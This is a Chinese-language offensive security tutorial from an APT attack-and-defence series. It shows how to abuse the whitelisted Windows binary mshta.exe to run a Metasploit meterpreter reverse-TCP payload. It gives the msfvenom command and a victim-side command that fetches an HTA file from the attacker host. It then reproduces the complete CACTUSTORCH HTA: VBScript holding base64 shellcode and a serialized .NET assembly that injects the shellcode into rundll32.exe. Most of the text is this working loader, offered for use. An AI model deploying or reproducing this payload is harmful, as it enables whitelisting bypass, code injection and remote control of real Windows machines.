专注APT攻击与防御

https://micropoor.blogspot.com/

Mshta简介：

Mshta.exe是微软Windows操作系统相关程序，英文全称Microsoft HTML Application，可翻译为微软超文本标记语言应用，用于执行.HTA文件。

说明：Mshta所在路径已被系统添加PATH环境变量中，因此，可直接执行Mshta.exe命令。基于白名单Mshta.exe配置payload：

Windows 7 默认位置：C:\Windows\System32\mshta.exe C:\Windows\SysWOW64\mshta.exe

攻击机：192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7配置攻击机msf：

配置payload：

1 msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse\_tcp LHOST=192.16

8.1.4 LPORT=53 ‐f raw > shellcode.bin

1 cat shellcode.bin |base64 ‐w 0

替换如下：

靶机执行：

1 mshta.exe http://192.168.1.4/Micropoor.hta

附录：Micropoor.hta注：x86 payload

1 <script language="VBScript"> 2

3 ' Usage:

4 ' Choose a binary you want to inject into, default "rundll32.exe", you can use note pad.exe, calc.exe for example...

5 ' Generate a 32 bit raw shellcode in whatever framework you want. Tested: Cobalt St rike, Metasploit Framework

6 ' Run: cat payload.bin | base64 ‐w 0

7 ' Copy the base64 encoded payload into the code variable below. 8

9 ' Replace with binary name that you want to inject into. This can be anything that exists both in SYSWOW64 and SYSTEM32

10 Dim binary : binary = "rundll32.exe" 11

12 ' Base64 encoded 32 bit shellcode 13

14 Dim code : code = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tS EItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04 sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjA qAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1Y P4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1 h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U="

15 16 17

18 Sub Debug(s)

19 End Sub

20 Sub SetVersion

21 End Sub

22 Function Base64ToStream(b)

23 Dim enc, length, ba, transform, ms

24 Set enc = CreateObject("System.Text.ASCIIEncoding")

25 length = enc.GetByteCount\_2(b)

26 Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")

27 Set ms = CreateObject("System.IO.MemoryStream")

28 ms.Write transform.TransformFinalBlock(enc.GetBytes\_4(b), 0, length), 0, ((length / 4) \* 3)

29 ms.Position = 0

30 Set Base64ToStream = ms

31 End Function 32

33 Sub Run

34 Dim s, entry\_class

35 s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"

36 s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaX ph"

37 s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2 xk"

38 s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAA kD"

39 s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYX Rl"

40 s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZX RU"

41 s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZV Nl"

42 s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW 90"

43 s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLj Au"

44 s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAA AH"

45 s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAw AA"

46 s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZX Qw"

47 s = s & "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZU Vu"

48 s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAA AA"

49 s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW 9u"

50 s = s & "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlcl R5"

51 s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAA YR"

52 s = s & "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCw AA"

53 s = s & "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS 5Y"

54 s = s & "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNz dh"

55 s = s & "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQX Nz"

56 s = s & "ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAA AA"

57 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2 dy"

58 s = s & "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAA AA"

59 s = s & "AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAA QA"

60 s = s & "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAID UA"

61 s = s & "AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA"

62 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAA AA"

63 s = s & "AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAA BA"

64 s = s & "AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAA AA"

65 s = s & "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAA AA"

66 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACi oT"

67 s = s & "MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEg AA"

68 s = s & "Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAACh ME"

69 s = s & "EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAA AK"

70 s = s & "ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAA AK"

71 s = s & "EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9Ag AA"

72 s = s & "BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAA QC"

73 s = s & "fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAi gP"

74 s = s & "AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAA Aj"

75 s = s & "fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAAN wB"

76 s = s & "AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHw AA"

77 s = s & "ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAM kF"

78 s = s & "kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4Q YG"

79 s = s & "AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL 4I"

80 s = s & "qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACA AK"

81 s = s & "ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAA IB"

82 s = s & "AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPw AG"

83 s = s & "AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgP EB"

84 s = s & "AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAw FW"

85 s = s & "gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgD oD"

86 s = s & "AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPw AG"

87 s = s & "ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC 4I"

88 s = s & "+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADg FW"

89 s = s & "gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgN UA"

90 s = s & "EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgA CW"

91 s = s & "IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJ Eg"

92 s = s & "1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhh g+"

93 s = s & "BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAA kA"

94 s = s & "BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQ cA"

95 s = s & "AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAA YA"

96 s = s & "CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEA BB"

97 s = s & "AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAF MG"

98 s = s & "KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTA AJ"

99 s = s & "ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAE gA"

100 s = s & "hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAt AAJ"

101 s = s & "AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJA JQA"

102 s = s & "5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9 QAJ"

103 s = s & "AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJA DQB"

104 s = s & "aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAm AEu"

105 s = s & "ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDA HMA"

106 s = s & "WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1 AMB"

107 s = s & "AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACA AYA"

108 s = s & "AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyA DxN"

109 s = s & "b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VUR V9S"

110 s = s & "RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ 0FU"

111 s = s & "RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPT lNP"

112 s = s & "TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX 1dB"

113 s = s & "VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX 0xF"

114 s = s & "VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DR VNT"

115 s = s & "X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR 1JP"

116 s = s & "VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDR URP"

117 s = s & "UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT 1JJ"

118 s = s & "VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPU klU"

119 s = s & "WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTU wBD"

120 s = s & "UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfU FJP"

121 s = s & "Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfV U5J"

122 s = s & "Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT 19X"

123 s = s & "SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGR klO"

124 s = s & "SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwV Ghy"

125 s = s & "ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZ ABs"

126 s = s & "cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJb mhl"

127 s = s & "cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZ QBW"

128 s = s & "YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRya WJ1"

129 s = s & "dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5V HJh"

130 s = s & "ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0c mli"

131 s = s & "dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQ XR0"

132 s = s & "cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQ XNz"

133 s = s & "ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtY mx5"

134 s = s & "Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplA GR3"

135 s = s & "WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQ UNI"

136 s = s & "RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3Rya W5n"

137 s = s & "AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ 0FD"

138 s = s & "VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZ XNz"

139 s = s & "SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0d XBJ"

140 s = s & "bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAb HBT"

141 s = s & "ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVud Glt"

142 s = s & "ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z 2dp"

143 s = s & "bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0d HJp"

144 s = s & "YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzR mxh"

145 s = s & "Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFyc wBU"

146 s = s & "ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3Rhc nRB"

147 s = s & "ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU 3Rk"

148 s = s & "SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3Jpd GVQ"

149 s = s & "cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsa XR5"

150 s = s & "AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAc wBX"

151 s = s & "AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphX gAE"

152 s = s & "IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIB gAD"

153 s = s & "Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAA AAE"

154 s = s & "IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAAB AAA"

155 s = s & "AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAA AAg"

156 s = s & "BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OE gwS"

157 s = s & "DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEOD ggB"

158 s = s & "AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDV FVT"

159 s = s & "VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZ TU3"

160 s = s & "NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

161 s = s & "AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAA AAA"

162 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

163 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

164 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAA QAA"

165 s = s & "ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTA F8A"

166 s = s & "VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AA AAA"

167 s = s & "AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAA CQA"

168 s = s & "BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAa QBs"

169 s = s & "AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuA HQA"

170 s = s & "cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZ QAA"

171 s = s & "AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUA FUA"

172 s = s & "UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AM AAu"

173 s = s & "ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSA EMA"

174 s = s & "SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAV ABV"

175 s = s & "AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAA AAA"

176 s = s & "AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAV ABP"

177 s = s & "AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDA FQA"

178 s = s & "VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEAL gAw"

179 s = s & "AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuA DAA"

180 s = s & "LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

181 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

182 s = s & "AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

183 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

184 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

185 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

186 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

187 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

188 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

189 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

190 s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA"

191 s = s & "AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjd Glv"

192 s = s & "bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA"

193 entry\_class = "cactusTorch" 194

195 Dim fmt, al, d, o

196 Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryForma tter")

197 Set al = CreateObject("System.Collections.ArrayList")

198 al.Add fmt.SurrogateSelector 199

200 Set d = fmt.Deserialize\_2(Base64ToStream(s))

201 Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry\_class)

202 o.flame binary,code

203 End Sub 204

205 SetVersion

206 On Error Resume Next

207 Run

208 If Err.Number <> 0 Then

209 Debug Err.Description

210 Err.Clear

211 End If

212

213 self.close

214 </script> 215

来源：

https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

Micropoor